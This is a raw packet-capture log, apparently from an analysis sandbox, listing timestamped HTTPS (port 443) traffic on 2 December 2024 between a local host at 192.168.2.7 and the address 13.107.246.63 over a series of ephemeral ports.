Dec 2, 2024 01:35:19.152048111 CET	49966	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.152070045 CET	443	49966	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.152148962 CET	49966	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.152154922 CET	443	49966	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.158417940 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.158454895 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.158642054 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.159117937 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.159128904 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.288716078 CET	443	49967	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.292145967 CET	443	49967	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.292239904 CET	49967	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.292433977 CET	49967	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.292433977 CET	49967	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.292458057 CET	443	49967	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.292467117 CET	443	49967	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.295042038 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.295075893 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.295517921 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.300317049 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.300338984 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.594410896 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.597799063 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.597886086 CET	49968	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.597914934 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.597940922 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.598222971 CET	49968	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.600662947 CET	49968	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.600662947 CET	49968	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.600688934 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.600697041 CET	443	49968	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.616317034 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.616369009 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.616539955 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.616723061 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.616736889 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.961487055 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.966140032 CET	49969	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.966188908 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:19.967194080 CET	49969	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:19.967206001 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.424720049 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.427808046 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.427953959 CET	49969	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.445463896 CET	49969	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.445494890 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.445512056 CET	49969	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.445518017 CET	443	49969	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.467828989 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.467885017 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.467948914 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.507256031 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.507296085 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.854131937 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.855093002 CET	49970	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.855093002 CET	49970	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:20.855123043 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:20.855144978 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.002698898 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.003216028 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.003247976 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.003859043 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.003864050 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.132663965 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.153503895 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.153503895 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.153542995 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.153561115 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.290530920 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.290612936 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.290868044 CET	49970	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.300832033 CET	49970	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.300832033 CET	49970	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.300851107 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.300858974 CET	443	49970	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.303538084 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.303585052 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.303806067 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.325018883 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.325054884 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.398511887 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.399245024 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.399276018 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.399910927 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.399918079 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.455847979 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.459237099 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.459319115 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.459480047 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.459480047 CET	49971	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.459502935 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.459513903 CET	443	49971	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.466718912 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.466766119 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.466888905 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.467159033 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.467183113 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.577661991 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.580837965 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.580919981 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.580929995 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.581192017 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.581192017 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.581249952 CET	49972	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.581265926 CET	443	49972	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.584301949 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.584350109 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.584496021 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.588295937 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.588320971 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.842911959 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.846105099 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.846163988 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.887624025 CET	49973	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.887667894 CET	443	49973	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.923855066 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.923899889 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:21.924015045 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.930861950 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:21.930880070 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.352310896 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.352907896 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.352940083 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.353478909 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.353483915 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.805376053 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.805489063 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.805538893 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.805571079 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.805732965 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.805732965 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.805757999 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.805779934 CET	49974	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.805787086 CET	443	49974	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.808495998 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.808537006 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:22.808641911 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.808876038 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:22.808888912 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.040164948 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.041040897 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.041040897 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.041069984 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.041090965 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.188630104 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.231816053 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.231816053 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.231846094 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.231870890 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.371040106 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.372657061 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.372688055 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.376303911 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.376316071 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.474734068 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.478157997 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.478305101 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.478389025 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.478408098 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.478436947 CET	49975	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.478442907 CET	443	49975	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.483107090 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.483160019 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.483241081 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.484185934 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.484214067 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.624758959 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.627871990 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.627943039 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.628113985 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.628113985 CET	49976	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.628138065 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.628148079 CET	443	49976	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.631124973 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.631181002 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.631433964 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.631691933 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.631710052 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.774204969 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.774770975 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.774780989 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.775234938 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.775252104 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.814933062 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.815011024 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.815067053 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.826292038 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.826307058 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.826371908 CET	49977	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.826376915 CET	443	49977	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.861788988 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.861856937 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:23.862297058 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.862476110 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:23.862494946 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.331768036 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.334877968 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.334940910 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.335022926 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.335022926 CET	49978	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.335042953 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.335052967 CET	443	49978	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.342776060 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.342825890 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.342885971 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.347776890 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.347793102 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.522732019 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.523993969 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.524036884 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.524645090 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.524657965 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.957963943 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.961046934 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.964303017 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.965634108 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.965658903 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.965687037 CET	49979	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.965696096 CET	443	49979	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.968800068 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.968849897 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:24.969324112 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.969728947 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:24.969738007 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.328577995 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.332626104 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.332657099 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.333273888 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.333287954 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.422511101 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.424529076 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.424542904 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.425327063 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.425332069 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.477257013 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.477746964 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.477773905 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.478203058 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.478208065 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.781898022 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.785279989 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.785351038 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.799784899 CET	49980	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.799815893 CET	443	49980	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.803342104 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.803370953 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.803422928 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.811534882 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.811548948 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.877145052 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.881514072 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.881577015 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.881591082 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.881630898 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.889492989 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.889516115 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.889537096 CET	49982	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.889542103 CET	443	49982	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.939897060 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.939981937 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.940172911 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.944083929 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.944104910 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.944128990 CET	49981	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.944138050 CET	443	49981	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.956789970 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.956828117 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.957137108 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.965703964 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.965732098 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.979268074 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.979309082 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:25.979563951 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.979751110 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:25.979763031 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.151844025 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.152461052 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.152492046 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.153107882 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.153111935 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.598572969 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.598647118 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.598882914 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.650501013 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.650547028 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.650563002 CET	49983	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.650571108 CET	443	49983	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.679677963 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.679730892 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.679847002 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.681575060 CET	49988	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.681586027 CET	443	49988	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.769418955 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.769849062 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.769886971 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:26.770426035 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:26.770431042 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.214896917 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.217966080 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.218405962 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.394433975 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.394434929 CET	49984	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.394485950 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.394493103 CET	443	49984	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.547028065 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.547065973 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.547257900 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.564768076 CET	49989	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.564783096 CET	443	49989	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.590765953 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.602626085 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.602663994 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.603367090 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.603372097 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.763936996 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.765271902 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.765271902 CET	49987	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.765306950 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.765316963 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.815241098 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.827066898 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.827095985 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:27.827558994 CET	49986	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:27.827563047 CET	443	49986	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.034444094 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.037908077 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.037960052 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.038002968 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.038024902 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.038039923 CET	49985	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.038045883 CET	443	49985	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.042296886 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.042342901 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.042408943 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.042675018 CET	49990	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:28.042685986 CET	443	49990	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.207917929 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.211352110 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.211402893 CET	443	49987	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:28.211406946 CET	49987	443	192.168.2.7	13.107.246.63
